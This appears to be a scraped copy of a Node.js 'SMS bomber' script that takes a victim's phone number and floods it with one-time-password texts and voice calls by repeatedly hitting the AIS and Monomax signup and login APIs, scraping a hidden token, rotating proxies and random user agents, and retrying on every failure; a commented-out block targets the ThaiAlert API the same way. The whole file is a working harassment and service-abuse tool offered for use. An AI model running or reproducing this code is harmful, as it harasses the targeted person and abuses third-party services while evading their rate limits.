Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 5

const axios = require("axios");

const prompt = require('prompt-sync')();


const cluster = require('cluster');
var random_useragent = require('random-useragent');
const path = require('path');
const fs = require('fs');
const HttpsProxyAgent = require('https-proxy-agent');

//---------------------------------------------------------------------------------
----------------------------------------------------------------------
const phonenumber = process.argv[2],
count = process.argv[3],
service = process.argv[4];
let timecount = 0;
const proxies = fs.readFileSync('proxy.txt', 'utf-8').replace(/\r/gi,
'').split('\n').filter(Boolean);
//---------------------------------------------------------------------------------
----------------------------------------------------------------------

function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
async function monomax(){
let proxy = proxies[Math.floor(Math.random() * proxies.length)];
var agent = new HttpsProxyAgent('http://'+proxy);
await sleep(1000);
axios({
method: 'post',
httpsAgent: agent,
url: 'https://www.monomax.me/api/v2/signup/telno',
data:{
password: "BDSDOIDj89ud9io4jeio2lkw",
telno:phonenumber,
},
headers:{'User-Agent': random_useragent.getRandom()
},
}).then(function (response) {
console.log("MONOMAX SENDED",timecount);
timecount++;
if (timecount == count){
process.exit(0);
}
}).catch(function (error) {
return monomax();
})
}
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
// function morchanaget(phone){
// //let proxy = proxies[Math.floor(Math.random() * proxies.length)];
// //var agent = new HttpsProxyAgent('http://'+proxy);
// var deviceId = cryptoRandomString({length: 16, characters:
'abcdefghijklmnopqrstuvwxyz0123456789'});
// var data = {"deviceId": deviceId};
// axios({
// method: 'post',
// //httpsAgent: agent,
// url: 'https://api.thaialert.com/registerDevice',
// data:data,
// headers: {
// "Host" : "api.thaialert.com",
// "user-agent" : "okhttp/3.12.1",
// "Accept" : "application/json",
// "Content-Type" : "application/json"
// },
// }).then(function (response) {
// morchanapost(response.data,phone);
// }).catch(function (error) {
// return morchanaget(phone);
// })
// }

// function morchanapost(data,phone){
// var headered = {
// "x-th-anonymous-id" : data.anonymousId,
// "authorization": 'Bearer ' + data.token,
// "Host" : "api.thaialert.com",
// "user-agent" : "okhttp/3.12.1",
// "Accept" : "application/json",
// "Content-Type" : "application/json"
// };
// axios({
// method: 'post',
// //httpsAgent: agent,
// url: 'https://api.thaialert.com/requestOTP',
// data: {"mobileNo":phone},
// headers: headered,
// }).then(function (response) {
// console.log(response.data);
// console.log("MRRCHANA SENDED");
// }).catch(function (error) {
// return morchanaget(phone);
// })

// }
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
function headerais(token,cookie){
return {
'Authorization': 'Bearer ' + token,
'Cookie': cookie,
'X-Requested-With':' XMLHttpRequest',
}
}
function getais(){
let proxy = proxies[Math.floor(Math.random() * proxies.length)];
var agent = new HttpsProxyAgent('http://'+proxy);
var phone = phonenumber;
axios({
method: 'get',
url: 'https://srfng.ais.co.th/Lt6YyRR2Vvz%2B
%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?httpGenerate=generated',
httpsAgent: agent,
}).then(function (response) {
var cookie = response.headers['set-cookie'];
var a = response.data.match(/<!--<input type="hidden" id='token'
value="[^}]*">-->\n/g);
var token = a[0].replace(/\s+/g, '').replace(/'/g, '"').replace('">--
>', '').replace('<!--<inputtype="hidden"id="token"value="','');
postais(token,cookie,phone,agent);
postais1(token,cookie,phone,agent);
}).catch(function (error) {
return getais();
})
}
async function postais(token,cookie,phone,agent){
var header = headerais(token,cookie)
await sleep(200)
axios({
method: 'post',
url: 'https://srfng.ais.co.th/api/v2/login/sendOneTimePW',
httpsAgent: agent,
data: {
'msisdn': phone,
'serviceId':'AISPlay',
'accountType':'all',
'otpChannel':'sms'
},
headers: header
}).then(function (response) {
//console.log(response.data);
console.log('AIS SEND',timecount)
timecount++;
if (timecount == count){
process.exit(0);
}
}).catch(function (error) {
return getais();
})
}
async function postais1(token,cookie,phone,agent){
var header = headerais(token,cookie)
await sleep(200)
axios({
method: 'post',
url: 'https://srfng.ais.co.th/api/v2/login/sendOneTimePW',
httpsAgent: agent,
data: {
'msisdn': phone,
'serviceId':'AISPlay',
'accountType':'all',
'otpChannel':'call'
},
headers: header
}).then(function (response) {
//console.log(response.data);
console.log('AIS SEND',timecount)
timecount++;
if (timecount == count){
process.exit(0);
}
}).catch(function (error) {
return getais();
})
}
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
async function run(){
// if (timecount == count) {
// process.exit(0);
// } else {

// }
setInterval(() => {
if (service == 'ais'){
getais();
} else if (service == 'monomax') {
monomax();
} else if (service == 'random') {
var randomnum = Math.floor(Math.random() * 2);
//console.log(randomnum)
switch(randomnum + 1) {
case 1: {
getais();
break;
}
case 2: {
monomax();
break;
}
}
} else {
console.log('Service Not Found')
}
});
}
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
function checkcount(count) {
// console.log(count)
if (count < 501) {
run(count)
}else{
console.log("MAX COUNT: 500")
process.exit(0);
}

}
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
function checkargv(){
if (process.argv.length !== 5) {
console.log(`
Usage: node ${path.basename(__filename)} <phonenumber> <count>
<ais/monomax/random>
`);
process.exit(0);
}
else{
let proxies = fs.readFileSync('proxy.txt', 'utf-8').replace(/\r/gi,
'').split('\n').filter(Boolean);
var services = ['ais','monomax','random'];
if (!services.includes(service)){
console.log(services)
} else {
// //run(phonenumber,proxies,count,service);
checkcount(count);
}
}

}
process.on('uncaughtException', function (err) {
console.log(err);
});
process.on('unhandledRejection', function (err) {
console.log(err);
});
//---------------------------------------------------------------------------------
----------------------------------------------------------------------
checkargv();

You might also like